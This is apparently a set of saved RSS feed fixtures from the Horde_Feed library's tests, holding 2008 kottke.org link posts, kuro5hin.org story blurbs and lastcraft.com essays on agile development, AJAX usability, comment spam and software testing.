    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16074.html http://www.kottke.org/remainder/08/07/16074.html Thu, 17 Jul 2008 17:40:43 -0500 jason@kottke.org     The money brought in due to Beatlemania funded the research that The money brought in due to Beatlemania funded the research that led to the CAT scanning machine. (via gawker lite)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16076.html http://www.kottke.org/remainder/08/07/16076.html Thu, 17 Jul 2008 16:15:43 -0500 jason@kottke.org     Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. The place is BYOF and donations are accepted in a box next to the front door. (thx, john)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16075.html http://www.kottke.org/remainder/08/07/16075.html Thu, 17 Jul 2008 14:55:03 -0500 jason@kottke.org     Another Wikipedia gem: a list of unsolved problems from a number Another Wikipedia gem: a list of unsolved problems from a number of different fields, including linguistics, physics, and computer science. (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16073.html http://www.kottke.org/remainder/08/07/16073.html Thu, 17 Jul 2008 13:46:07 -0500 jason@kottke.org     Make new stuff look old with the Making Memories Distressing Kit. Make new stuff look old with the Making Memories Distressing Kit.

    Designed to use on everything from paper to embellishments this distressing kit is the first and only of its kind. Kit includes: sanding block with three grits steel wool-2 pads emery board-3 boards each with different grit stipple brush foam brushes 1 and 2 wide chalk-3 colors ink sponges-3 colors exclusive edge scraper bone folder aging dye-2 single use pouches paint comb pounce wheel chalk brushes-3 sandpaper-3 sheets (1 each of fine medium and coarse grit). It's compact portable and stocked to the hilt with all the tools you'll need to sand scrape stipple and sponge your way to shabby chicness.

    Jessica Helfand has some thoughts on making the new look old.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16072.html http://www.kottke.org/remainder/08/07/16072.html Thu, 17 Jul 2008 12:36:12 -0500 jason@kottke.org     Steven Heller asked a bunch of designers and illustrators to re-imagine Steven Heller asked a bunch of designers and illustrators to re-imagine the lapel pin for Barack Obama.

    Since Mr. Obama promotes himself as the candidate of change, maybe he should start wearing a different kind of lapel pin that signals his patriotism as well as other values he wants to communicate.

    One fellow suggests ripping his lapels off and thereby skirting the whole pin issue. (via design observer)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16071.html http://www.kottke.org/remainder/08/07/16071.html Thu, 17 Jul 2008 11:44:57 -0500 jason@kottke.org     They're making a fourth Terminator movie with Christian Bale? Although I They're making a fourth Terminator movie with Christian Bale? Although I didn't actually mind the third one so bring it on, I guess. (via goldenfiddle)

    Update: McG is directing? I take it back...put it back in the can. Also, Joseph, isn't it time to stop using that name?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16070.html http://www.kottke.org/remainder/08/07/16070.html Thu, 17 Jul 2008 11:04:15 -0500 jason@kottke.org     Since repeatedly spelling out proper names in sign language is time Since repeatedly spelling out proper names in sign language is time consuming, signers give people "sign names" that are faster to do.

    When a sign name is given to you, it's special. A bit like losing your deaf virginity. It's thought up after an intense period of observation, when people have worked out firstly whether they like you enough to give you one (a sign name, that is), and they've taken all your habits and mannerisms into account to find a name that best sums you up.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16069.html http://www.kottke.org/remainder/08/07/16069.html Wed, 16 Jul 2008 18:32:41 -0500 jason@kottke.org     The NYC subway system's unlimited-ride MetroCard turned ten years old this The NYC subway system's unlimited-ride MetroCard turned ten years old this month.

    "I think it's absolutely changed travel habits in the New York region, and it's been a boon for the economy as well," said Andrew Albert, who represents transit riders on the board of the Metropolitan Transportation Authority. "Where once you might have used it more sparingly because you had a finite number of trips, you're more likely to take a trip during your lunch break, go shopping perhaps or go to dinner somewhere," he said.

    On average, unlimited-ride MetroCard users take 56 trips per month (~$1.45 per trip), although some take many more or less. (via buzzfeed)

    Update: Mike Frumin notes that the Times excluded from their graph an important piece of information: the break-even point of the 30-day MetroCard. I used to get a monthly card but now pay by the ride because I don't take the subway everyday anymore and would therefore find myself in Frumin's "losing $$$$$" zone.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16068.html http://www.kottke.org/remainder/08/07/16068.html Wed, 16 Jul 2008 17:06:29 -0500 jason@kottke.org     That string of typographic symbols that substitute for swearing in cartoons? That string of typographic symbols that substitute for swearing in cartoons? It's called a grawlix.

    The term is grawlix, and it looks to have been coined by Beetle Bailey cartoonist Mort Walker around 1964. Though it's yet to gain admission to the Oxford English Dictionary, OED Editor-at-Large Jesse Sheidlower describes it as "undeniably useful, certainly a word, and one that I'd love to see used more."

    Well, @#$%&?!, that's cool.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16067.html http://www.kottke.org/remainder/08/07/16067.html Wed, 16 Jul 2008 15:54:53 -0500 jason@kottke.org     ● The most beautiful suicide On May 1, 1947, Evelyn McHale leapt to her death from the observation deck of the Empire State Building. Photographer Robert Wiles took a photo of McHale a few minutes after her death.

    Evelyn Mchale by Robert Wiles

    The photo ran a couple of weeks later in Life magazine accompanied by the following caption:

    On May Day, just after leaving her fiancé, 23-year-old Evelyn McHale wrote a note. 'He is much better off without me ... I wouldn't make a good wife for anybody,' ... Then she crossed it out. She went to the observation platform of the Empire State Building. Through the mist she gazed at the street, 86 floors below. Then she jumped. In her desperate determination she leaped clear of the setbacks and hit a United Nations limousine parked at the curb. Across the street photography student Robert Wiles heard an explosive crash. Just four minutes after Evelyn McHale's death Wiles got this picture of death's violence and its composure.

    From McHale's NY Times obituary, Empire State Ends Life of Girl, 20:

    At 10:40 A. M., Patrolman John Morrissey of Traffic C, directing traffic at Thirty-fourth Street and Fifth Avenue, noticed a swirling white scarf floating down from the upper floors of the Empire State. A moment later he heard a crash that sounded like an explosion. He saw a crowd converge in Thirty-third Street.

    Two hundred feet west of Fifth Avenue, Miss McHale's body landed atop the car. The impact stove in the metal roof and shattered the car's windows. The driver was in a near-by drug store, thereby escaping death or serious injury.

    On the observation deck, Detective Frank Murray of the West Thirtieth Street station, found Miss McHale's gray cloth coat, her pocketbook with several dollars and the note, and a make-up kit filled with family pictures.

    The serenity of McHale's body amidst the crumpled wreckage it caused is astounding. Years later, Andy Warhol appropriated Wiles' photography for a print called Suicide (Fallen Body), but I can't find a copy of it anywhere online. Anyone?

    Update: A not-so-great representation of Warhol's version of this photograph is available at Google Books. (thx, ruben)

    Update: Here's a better photo of Warhol's print. (thx, lots of people)

    ]]>     http://www.kottke.org/08/07/the-most-beautiful-suicide http://www.kottke.org/08/07/the-most-beautiful-suicide Wed, 16 Jul 2008 14:49:21 -0500 jason@kottke.org     A cross-country Amtrak travelogue. The trip is not without its charms A cross-country Amtrak travelogue. The trip is not without its charms but overall sounds like torture.

    A raspy-voiced woman in her 40s, one of the engineers, calls down from the cab and invites a few of us to come take a look. Without hesitation we clamber up. She tells us that they're off duty, as her partner, a mustachioed, red-faced man with faded tattoos, nods. When engineers hit their driving quota, apparently, they're done. It's an unbendable rule. "They knew, though," the woman says, speaking of Amtrak. "They should have had someone here." So this could've been prevented? "Oh yeah," the man says, "but leave it to them and they'll fuck it up." And so we wait, in the middle of nowhere, for new engineers. After a couple of hours a truck pulls up with the new drivers.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16065.html http://www.kottke.org/remainder/08/07/16065.html Wed, 16 Jul 2008 13:45:31 -0500 jason@kottke.org     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.kuro5hin.org-backend.rdf0000664000175000017500000002203512653701626026230 0ustar janjan kuro5hin.org http://www.kuro5hin.org/ technology and culture, from the trenches en-us Copyright 1999-2006 - Kuro5hin.org 2008-07-22T15:05:02Z Kuro5hin.org The readers of Kuro5hin.org kuro5hin.org http://www.kuro5hin.org/images/kuro5hin.png http://www.kuro5hin.org/ Kuro5hin's spamming shithead: newb4b0 http://www.kuro5hin.org/story/2008/7/19/1133/25779 Kuron newb4b0's latest diary is an open invitation for all other members to engage in a bit of troll-sodomy just for the kicks-da-shit fun which can be derived from sledge-hammering the ignoranus that passes for his brain. Have a Free-Troll-Fest on me. You want live-bait? Coming at you after the intro. Trailer Trash Summer Reading: the best FP stories of 2007 http://www.kuro5hin.org/story/2008/7/18/174545/502 OK I am bored this weekend and decided to update THE NOW FOREVER DEAD KO4TING WEBSITE. Weekends @ Kuro5hin are almost as dead as Ko4ting. If you are bored this weekend too and care to do some Summer reading, go through the following FP stories of 2007. I would post a poll but there were 45 FP stories in 2007 and the poll does not have that many choices to make. I will post in the ghetto the WINNARS after the story dumps (I would cancel at some point but you know how that goes). Patent Status of MPEG-1,H.261 and MPEG-2 http://www.kuro5hin.org/story/2008/7/18/232618/312 Over 100 million DVD players have shipped in the US, and 100s of millions of mp3 players have shipped, yet Linux distributions like Fedora, Ubuntu and Opensuse don't include software to create files that these devices can play. The reason is because implementations of the MPEG-2 and MPEG-1 Audio Layer 3 (MP3) are considered patented so the Linux Distributors are avoiding a risk of patent infringement lawsuits. I went searching for answers to basic questions like what are all the patents claimed for MP3 and when do the claimed MPEG-2 patents expire and I did not find these on the web, so I decided to create this summary of the patent status of MPEG-1, H.261 and MPEG-2. I'm not a lawyer and I'm not an expert on video or audio compression so there are probably some mistakes in this, but its better than anything I've found on the internet. This article is US specific, but the patent databases listed usually have other countries patents listed as well. please dump this story http://www.kuro5hin.org/story/2008/7/11/154428/798 please dump this story since I cannot cancel it Eulogy for George Carlin* http://www.kuro5hin.org/story/2008/6/23/2051/34052 We join with Catholics and countless others throughout our Diocese and world in giving thanks for the extraordinary life and ministry of Pope John Paul II George Carlin, and in praying for the repose of his noble soul body. It is fitting that Our Holy Father George Carlin was called to eternal life death during the week day when we celebrate the Easter Feast of St. Thomas More, which puts the reality of death religion into perspective. The Truth About John McCain http://www.kuro5hin.org/story/2008/6/21/4349/73033 I send this message out to all AMERICANS who are concerned about the dire choice we face in this election. I don't think I need to explain to all of you what the stakes are. We are currently locked in a WAR for the culture and faith of this great nation and are stuck with two phenomenally awful choices. But while the myriad SINS of Barack HUSSEIN Obama are well known to the majority of AMERICANS, less is known about the extremely suspect background of John SIDNEY McCain, the supposed candidate of the REPUBLICAN party. The MAINSTREAM MEDIA have done a shameful job vetting this man (if he can even be called that) and are engaged in ACTIVE SUPPRESSION of many troubling items on John SIDNEY McCain's record. However, the MAINSTREAM MEDIA cannot suppress the truth. All of the information below has been testified to in a COURT OF LAW under oath on the very BIBLE itself. Please read it and consider; can we really afford to have a man with the character of John SIDNEY McCain in the WHITE HOUSE? Tomatoes: not coming back http://www.kuro5hin.org/story/2008/6/16/145231/571 A notice posted on the door to my local McDonalds announced that it, as a corporation, "supports" the FDA's latest contamination scare regarding tomatoes and salmonella, and as a result they have "voluntarily" and "temporarily" stopped serving tomatoes on sandwiches that formerly contained them. This is "temporary" only in the same sense that all other earthly things are temporary. They will never return. Microsoft Plays Dirty With Gmail http://www.kuro5hin.org/story/2008/6/14/24746/7652 A friend sent out the latest clip for Ghost Humpers, our episodic mockumentary. Downloading the quicktime movie from Gmail gave me a compressed version. I thought that was odd. After a little searching, I found an option to download attachments as a zip file. Simply replace "disp=attd" with "disp=zip" in the attachment URL. IE7 was changing this to "disp=indzip" for the same result; on its own. This piqued my curiosity. Britain Fails The Turing Test http://www.kuro5hin.org/story/2008/6/12/121957/301 The recently-deployed "Twat-o-Tron", a nifty little script that regurgitates pieces of the incoherent xenophobic rants that usually infest the BBC's Have Your Say website, is increasing in popularity after a report on The Register brought wider exposure of the tool to the Internet community. Brewing your own hobo-wine on todays subprime mortgage budget http://www.kuro5hin.org/story/2008/6/3/203715/0995 Recently GhostOfTiber posted a story about brewing your own beer. &nbsp; I say, if you're going for the real hobo/homeowner experience, just brew wine, it's easier, and I'm fucking lazy. &nbsp;Also, wine takes about 2 weeks to ferment, none of this worrying about carbonation or anything, let's just get lit! If you actually care about the way things taste, you might want to make some GhostOfTiber Ale and drink that until you no longer taste things, but that's entirely your prerogative... Search kuro5hin.org string http://www.kuro5hin.org/search/ Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.lastcraft.com-blog-wp-rss2.xml0000664000175000017500000012200112653701626027324 0ustar janjan The Last Craft? http://www.lastcraft.com/blog Programs are written by people Copyright 2005 Wed, 23 Nov 2005 23:00:17 +0000 http://wordpress.org/?v=1.2 Sarbanes-Oxley versus Agile http://www.lastcraft.com/blog/index.php?p=20 http://www.lastcraft.com/blog/index.php?p=20#comments Mon, 21 Nov 2005 23:37:48 +0000 Programming http://www.lastcraft.com/blog/index.php?p=20 What's Enron got to do with software development? If you work for a big company, quite a lot... Agile development assumes that the participents are professionals. We take it for granted that everyone will do the best for the team, that everyone is skilled and capable, and that the team is focused on the project being successful for the sponser. It’s the assumption of doing the right thing that allows us to skimp on the paperwork and excessive formality. Trust is presumed.

    Then came Enron.

    OK, so there is no trust to be had when it comes to large sums of money, but we developers don’t make financial decisions. What’s Enron got to do with us?

    Well, quite a lot as it turns out. You see, the defence of main culprits was ignorance. They “innocently” lost control of the finances and didn’t know what was going on. Negligent leadership yes, criminal act no, they pleaded. It’s to remove that defence that the US govenment introduced the Sarbanes-Oxley legislation. A financial officer accidently losing control of the finances is no longer a satisfactory excuse for staying out of jail. Not only that, but auditors have the duty and right to report any loss of financial control to the shareholders, and for a public company to the public, to give early warning. That’s not a small detail. An international bank, say, that recieved a bad audit on this score would not welcome the publicity. After Enron, it gives the market the jitters.

    So what? This is a programming blog, so stick to the point Marcus. OK, I will. The point is that the loss of trust extends all the way down to our daily working practices. Some examples, the obvious one first.

    Development time costs money. That money should be tied back to a specific project or task. Free floating development costs are a black hole, and black holes are no longer acceptable. You can emply some kind of standard accounting tool to keep track of this, or you can invent your own. Trouble is, if you invent your own you are subject to an audit every year. Accountants probably won’t be very impressed with a homebrew system that works on index cards, and so using some kind of standard will save a lot of trouble. The change management tool vendors love this of course. Tying version control check-ins to requirements tools is the kind of stuff that cash cows are made of. Tool vendors are spreading the word.

    Now if you are very lucky, you have an enlightened project manager who understands the value of refactoring. You see a problem unrelated to your current work, you fix it right then. Everyone wins…er…except you. You have to shoehorn this piece of opportunism through the change management tool. From the demonstrations I have seen so far, these tools don’t look too agile.

    Suppose you are writing some simple database code that generates a report. Not much need to refactor here, this has been done hundreds of times. Well, the data in this report probably gets used in the performance indicators of the company, the profit and loss figures upon which the big decisions are made. If there is suspicion of that data, the company is losing control of it’s finances. It could be decieving the shareholders too. This is not about testing, it’s about having the authority to work on that report. The software as well as the data must be secure and no one person may hold all the keys. Your handling of passwords becomes subject to external policy. Opening the version control system to shared code ownership may not be part of that policy. That’s a big loss for an agile team.

    None of these problems are insurmountable of course. A dash of politics, some technical adjustments and a dose of guerilla refactoring may get you through the day, but it’s still friction. Fear spreads.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=20     Listen kids, AJAX is not cool http://www.lastcraft.com/blog/index.php?p=19 http://www.lastcraft.com/blog/index.php?p=19#comments Fri, 03 Jun 2005 04:11:45 +0000 Programming http://www.lastcraft.com/blog/index.php?p=19 I cannot think of a worse collision of technologies than low level user interfaces and AJAX. Avoiding the wreckage will involve new learning and a lot of thinking. If you writing a user interface, make sure it responds in 1/10th of a second. That’s a pretty simple rule, and if you break it, you will distract the user. This rule has pretty much become law, never mind lore. You find it in books such as “The Humane Interface” by Jef Raskin and many other user interface guides. If you write GUI software, you are well aware of it.

    I cannot find this rule anywhere in Jacob Nielson’s “Designing Web Usability". It’s not a bad book, in fact it’s an excellent one. It’s just that web interfaces are a different usability problem, one of organising fairly static information. You don’t need stopwatches or video cameras to study users in this environment. Just five test subjects and perhaps the Apache logs. This is stuff anyone can do. You only have to state that all links have to be underlined blue to start out in this community. Until now, the low level neurology has been left to the writers of web browsers. The two communities have been separated.

    Except now we have AJAX.

    AJAX is JavaScript based and JavaScript is usually used to add convenience and to pretty up web pages. Because sites had to work without JavaScript, usage was limited to extending the HTML or saving on the odd page request. Then came GMail. Suddenly we have lot’s of web developers “enhancing” the browser experience with behind the scenes XML fetching back to the original site. I cannot think of a worse collision of technologies than low level user interfaces with requests over the internet. The delays and failures of internet traffic are especially painful in this environment and, from the AJAX demos I’ve seen, the developers aren’t helping.

    A typical demo is form validation. The first field is usually one where the user can select a new user name. Of course that username could be taken, and so this initiates an AJAX request to the server. Meanwhile I have carried on typing and am a few fields in when a dialog pops up. You don’t need a GOMS analysis to know that this is going to be extremly annoying. I dismiss the dialog, it said something about a database I think, and retype the second half of my word. I go to submit the form and find the submit button is greyed out. I eventually work out that the username has been cleared and I retype it and quickly click submit. Oh joy.

    OK, this is a badly designed example and it could be improved in several ways. For example, within 1/10th of a second, I could highlight the field in some way. Maybe I could grey out the text or highlight the border of the field with a pale yellow. When the response comes back I could highlight the border as red on failure and only then disable the submit button. The highlighted field had better not have scrolled off the screen and I had better have a helpful message next to it by then. If the user can type faster than my server can respond, likely if the user is habituated to a form, then they should be allowed to submit. Otherwise habituation is lost and the interface starts invading their short term memory.

    Even when the process is improved, there is no guarantee that we have enhanced the user experience. Entering a form is a familiar operation. We can do it whilst answering the phone or explaining something to the kids. The extra time fetching a separate error page may be time that I am putting to other uses anyway. Perhaps I just needed a rest. An interface that jars me out of my familiar path is probably not helping me at all. I don’t know this of course, because I haven’t measured it. But if you design such an interface, you don’t know either. You need to measure it, and this kind of usability is a lot more work than watching people click on pages.

    I read more web pages than I do books and I spend more time doing it than I watch TV. I don’t think I am alone in being habituated to the way the web behaves as pages. When you write AJAX applicatons you drive a horse and cart through one of the most successful metaphors of all time. GMail can get away with it, because it’s very close to a related metaphor, the mail application. Being the new way has a price.

    AJAX does have some uses. If you are exploring a dataset, you don’t want to fetch the core data again on every attempt to expand just a portion of the information. I have seen an excellent demo by a colleague with a trading system. Using a rollover it is possible to see trading history for each market indicator. Because this is an intranet system, it is responsive enough, and because the information is embedded in other explanatory content, it makes sense to use a web interface. That demo was cool, but it was a pet project not a deployed application. These put AJAX on collision course with another issue in software development, automated tests.

    We have it easy as web developers. We just shovel text around and text is easy to test. Unsurprisingly there are a lot of tools to test web content. Tesing GUIs is far harder, so hard that it isn’t usually attempted. Instead a thin presentation layer is written and the calls to it are intercepted. The presentation layer still has to be tested by hand and that will delay a rollout. GUI applications are usually shrinkwrapped items, so that’s no problem for them. A web server may get rolled out twice a day. That’s a big problem for us.

    More advanced tools may help a little here. Selenium and WaTiR at last make JavaScript testing possible, but it’s not easy to set up for integrated testing and you still need a browser. I haven’t yet seen an AJAX demo tested with Selenium. If anyone tries it, I’d like to know.

    AJAX has possibilities, but it’s not there yet. Not as a community and not with the tools. Web developers cannot become GUI developers overnight. We need time.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=19     How did Google get it wrong? http://www.lastcraft.com/blog/index.php?p=18 http://www.lastcraft.com/blog/index.php?p=18#comments Wed, 09 Feb 2005 02:15:20 +0000 Programming http://www.lastcraft.com/blog/index.php?p=18 If you run a blog or Wiki you will be only too aware of the Google PageRank(tm) sytem. So Google have decided to help the bloggers? Er...no. If you run a blog or Wiki you will be only too aware of the Google PageRank™ sytem. In case you have been on a rather extended holiday and/or in a long coma, it’s a system whereby your site climbs the search engine results page if lot’s of other people are linking to you. It’s not quite that simple, but that’s the gist. In competition with each other to promote sales of Viagra, or to get people hooked on gambling, various crooked characters deface public sites with gay abandon. They leave a trail of links pointing at their own sites, often with Chinese titles, all to boost their own PageRank. All to climb Google.

    These comment spammers are not nice people.

    They will happily destroy the content of a Wiki and overwrite every page. If they don’t get every one, then it’s usually because their script is too stupid to keep track of the pages it’s already written over and so cannot get to the now newly orphaned pages. These scripts hammer the site while they operate. Not only that, but the frequency of attacks is now at epidemic proportions. I get about three separate attacks a day on my blog and about five major attacks a day on this PageRank 7 wiki. Faced with the brutality and increasing frequency of these incursions, ISPs can take down servers believing that are under a denial of service attack. Even if they understand the phenomena, such attacks cause too much server load for the value of having the small blog customer. ISPs are starting to ban the use of tools like WordPress and MoveableType on their end user accounts.

    OK, it’s not just Google to blame here, but all of the search engines. It’s just that Google’s system is the most well known and this has historically made it the main spam target. In a tacit acknowledgement of this, Google have decided to help the bloggers. Er…sort of.

    Their solution is to allow you to take away the PageRank value of selected links. If you are maintaining Wiki/blog software then comment field links should have a “rel” attribute (uh?) set to “nofollow". That way the spammers will lose the incentive to spam you, because they will get no benefit from the links they leave. “Drat” they say, as the abandon their get rich quick scheme and go off to earn an honest wage.

    The plan is so idiotic it’s almost surreal. It obviously in no way penalises the spammers, who are playing a percentage game anyway. So what if a few spams are ploughed into stoney ground? It does make the engine spider’s life a little easier of course, because it can spend less time indexing blogs. Lucky old engines, poor old webmasters who are expected to upgrade all of their software. Software that has been heavily customised and, given that few of these applications are design masterpieces, heavily hacked. I certainly won’t be upgrading when there is zero benefit. Even if I do, the new attribute has to survive RSS feeds and some old and not so smart news aggregators. Really I won’t have time anyway because I am too busy fighting spam.

    What’s even more surreal though, is that the software authors are jumping on board and working on adding this as a feature. There is even talk of making it part of the HTML standard. This attribute is about as useful as the blink tag.

    Suppose the engines had tackled it differently. Suppose that when your site was spammed, you could dispatch the content of the spam straight to Google, Yahoo, etc. They could then ban all of the links promoted with the dubious posting. A sort of “SpamBack". This changes the market forces significantly from the peddlars point of view. Far from ploughing on less furtile ground, they are now ploughing a mindfield. Rather than one hundred percent of everybody having to manually instruct the GoogleBot, all it would take would be a small percentage of spam aware applications to fight back. The spammers could not risk dumb spamming for fear of tripping these alarms.

    I bet there are other simple solutions as well.

    So how did Google get it wrong? There are smart people in Google, so did they not allocate enough time to this? Perhaps they lost touch? Can you see blogger peons working in a lowly office from the hallowed windows of a “plex"? Perhaps the Google blog could explain as it’s hardly a public relations coup. Whole sites have sprung up against “nofollow”.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=18     CEOs are chickens http://www.lastcraft.com/blog/index.php?p=17 http://www.lastcraft.com/blog/index.php?p=17#comments Sat, 27 Nov 2004 05:46:59 +0000 Programming http://www.lastcraft.com/blog/index.php?p=17 The Scrum meeting rule says that pigs, committed project members, are allowed to talk. Chickens, people who's career would be unscarred by project failure, can only listen. In a small web firm, besides the web developers, who are the pigs? The following analogy comes from Scrum. In fact I am going to quote Ken Schwaber and Mike Beedle’s “Agile Software Development with Scrum"…

    A chicken and a pig are together when the chicken says, “Let’s start a restaurant!” The pig thinks it over and says “What would we call this restaurant?” The chicken says “Ham n’ Eggs!” The pig says, “No thanks. I’d be committed, but you’d only be involved!”

    The Scrum meeting rule says that pigs, committed project members, are allowed to talk. Chickens, people who’s career would be unscarred by project failure, can only listen. Opinions from pigs will have the needs of the project at the top of their concerns. They cannot afford to put self interest first, leading to balanced and rational compromise. So in a small web based firm, besides the web developers, who are the pigs?

    The sales managers are usually piggies. They have sales targets, so usability, customer profiling and conversion rates are vital to them. Missing those targets is financially limiting, and possibly career limiting too.

    Marketing are also in the pig pen. They will need a constant stream of information from the developers, usually in the form of processed log files. They also need to post process content for search engine optimisation and usually have link building programs in play. If the developers cannot supply these services then the marketing plan can be severely disrupted. Even if marketing’s jobs are safe, someone’s head will eventually roll.

    Another porker is the content manager. An unpublished author has achieved nothing and will complain loudly. There may have been expensive copyright negotiations beforehand that won’t repay themselves until publication. Also content ages. A delayed appearance on the web site could invalidate it. If the content manager has a problem, the development team will hear about it in about the time it takes to walk down the corridoor.

    The support staff slopping around in the mud are utterly dependent on IT. They can have a miserable job, so let’s not make it worse for them.

    By contrast the CEO can take project scale action. That action could be as drastic to fire everyone responsible and outsource the whole project to India, and they might do it anyway if it’s perceived to be in the interest of the company. More usually intervention comes in the form of long term strategy changes that affect the other stakeholders. The mission statement of the project will shift accordingly, or the project may fragment or be allowed fewer resources. The original plans can be changed to the point of mutilation by them. The CEO is committed to the company, not the project.

    If you are using iterative development then you have supplied your CEO with options other than cancellation or expensive change requests. The CEO already has sufficient influence over the warring parties that there is no need for them to write stories or micromanage priorities.

    So, can you keep the CEO from interfering in iteration meetings? Good cluck…

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=17     No URLs in my blog http://www.lastcraft.com/blog/index.php?p=15 http://www.lastcraft.com/blog/index.php?p=15#comments Wed, 27 Oct 2004 03:02:35 +0000 Programming http://www.lastcraft.com/blog/index.php?p=15 Loose coupling in my blog. Are URLs dead? It’s an experiment. I want to see if URLs are dying.

    The idea is that the search engines are now so good, there is no need for a hard link to another site I have no control over. I’m a programmer and so I want loose coupling from my blog. Link rot is a good example of a dangling pointer to me and so I am refactoring back to English descriptions. Back to a query rather than a reference if you like. The plan is given a sufficient keyphrases you will almost certainly find the same reading material I based the blog entry on. Not exactly the same maybe, but blogging is about news and ideas rather than specific documents so I have room for flexibility.

    There are going to be problems with this. The first is that the blog entries will be less eye catching. Web users start with a title and then start looking for blue underlined text. Well I don’t have any, just a wall of black and white, so the posts look rather boring. Hopefully I can make up for it with controversial titles that annoy people into reading on.

    A more serious problem is that site impaired users are more dependent on significant text than sighted users. It’s common for screen reader users to use the tab key to cycle through titles and links. With less tab hits on the content, but still the same number on the navigation, I am reducing the signal to noise ratio for these users when they browse.

    Another slim possibility is that I may know a subject better than my reader and supply insufficient context to the subject without realising. Well if that happens then probably I have lost the plot on the whole posting anyway. I don’t even want to think about that scenario.

    One positive benefit is that I plan to refer to books by full title and author. That means you can choose which online bookshop you prefer to use. If you are in the Amazon camp and feel your obligitory quick fix is missing, then you can still select the text and use the A9 metacrawler and arrive almost as quickly. Little is lost I think and I am not usually sympathetic to majorities. You have it too easy.

    Of course all of this saves me time as well, so it’s also an experiment in lean blogging. Tracking down URLs and making sure they are the permanent ones, not temporary front pages, is as much effort as an extra paragraph. For something that is only a half dozen paragraphs, that’s a lot of overhead.

    It would be nice if links could be created in HTML that just contained keywords or just bounded text. You could set your favourite engine into your browser, or be stuck with MSN if you were using IE, and have the browser submit the query. The browser could even pop up a menu of results as you hovered the mouse over. Handy as I hate having to leave the page I’m on when following an article, but want to look up a reference. All that would be necessary then would be for web content writers to mark text as significant. Perhaps the bold tag would do as a temporary measure.

    Anyway, adding anchors seems too inflexible these days. I’m also rather lazy. Actually that’s the real reason.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=15     assert All Swans Are White() http://www.lastcraft.com/blog/index.php?p=12 http://www.lastcraft.com/blog/index.php?p=12#comments Mon, 11 Oct 2004 06:06:15 +0000 Programming http://www.lastcraft.com/blog/index.php?p=12 You never know absolutely for sure that your project is working correctly and you never will, but you can exude confidence. You cannot prove anything by testing. No matter how hard you try, there could always be something wrong, or some combination of conditions or some external event that you haven’t thought of. You never know absolutely for sure that your project is working correctly and you never will.

    The nature of proof is an old issue and one that was faced by the scientific community in it’s debate with religion. We are scientific, the scientists would say, because we do experiments to prove things. Aha, the religious leaders would say, you ain’t proving anything as long as there is another experiment you can do. Another experiment is another unknown and if something is unknown it isn’t proven. Therefore you are a religion too because your conviction is based on faith in your unproven theories, Q.E.D. For the scientists this must have smarted a bit, but fortunately Karl Popper came to the rescue in 1934 with his book “The Logic of Scientific Discovery". Here is his illustration that separates the two camps…

    You live in a village and all you have seen today are white swans, from which you conclude all swans are white. A little rash perhaps, but logical. Now this isn’t yet a convincing theory, so we wander down to the village pond and look for swans. We are not looking for white swans though, we are looking for non-white ones. This assymetry is important, because although more white swans advance our case only a little, a single black swan will kill it stone dead. Because the threat to our theory is so devastating, every time it survives it increases our confidence. If we want to pursuade the world that our theory is correct we want to attack it as often as possible. Ideally we will search high and low for black swans, but fail to find any. We want to test the theory in as many novel ways as possible, and with notoriety others will test it too and they will think differently from us. And so collectively we never prove it, but we do get ever more confident.

    For this to work our theory must be disprovable. The counter theory that there exists in the universe at least one black swan is not provable, and so not scientific. Note that scientists don’t have to be scientific, only the theories. Actually it helps if they are as mad as hatters, because that way we get a greater variety of testing. This process also allows us to have a single scientific truth. If two theories differ by prediction then we can determine which is correct by experiment. If they don’t then we hack away with Occam’s razor until the theories are identical anyway.

    Back to the code. We had a theory that it isn’t broken.

    Life is a little simpler for developers because we are not usually dealing with an infinite black box. It’s as if we could see the cogs of a small part of mother nature laid out before us and we are just checking the workmanship. This gives us an alternative approach. If the code is simple enough then we can completely understand it and won’t have any bugs. The whole project will probably never be in that state, but small sections of code will. The extra clarity we get doesn’t just give us our first theories of how the code behaves, but also allows us to eliminate vast swathes of possible tests as too trivial to bother with.

    These areas of understanding are also fed by the tests themselves. I think we hop between theory and understanding in short cycles, and have a mix at any one time. Our areas of complete understanding are temporarily demolished during refactoring and are reduced to theories that our code still works as before. During and just after these transitions we add tests to resolve conflicting models in our heads and, with further change, turn unclear parts into areas of understanding again. I think this gets to the heart of testing with refactoring. Because the tests act as a cushion that allows us to drop back to theorising, they allow us to leap into the unknown. They are an agent of change.

    On the project scale we haven’t a hope, but more people help. Inspection and pairing help produce more understandable and more fully understood code. For those parts that are just assumed working, more varied people with an antagonistic attitude will shore up those assumptions with novel and challenging tests. As many as resources allow, so perhaps the many eyeballs theory has some merit.

    We still haven’t proved it’s working of course, but we can exude as much confidence as we want.

    ]]>     http://www.lastcraft.com/blog/wp-commentsrss2.php?p=12     Install me http://www.lastcraft.com/blog/index.php?p=11 http://www.lastcraft.com/blog/index.php?p=11#comments Sat, 02 Oct 2004 21:50:40 +0000 Programming http://www.lastcraft.com/blog/index.php?p=11 We all constantly perform cost benefit analysis at everything we do, and if your project drops below our threshold for even a second we will ditch it and go on to something else. Instant gratification is best. I am not the slightest bit interested in your program.

    I am surrounded by problems and have a to-do list as long as my arm. The only reason I am at your web site right now is because I have heard an unlikely rumour that one of my problems will be completely eliminated by your software. It is going to positively leap out of the computer and start resolving issues while I put my feet up and start to enjoy life. At least that’s what I’ve heard. You’ll forgive me if I’m sceptical.

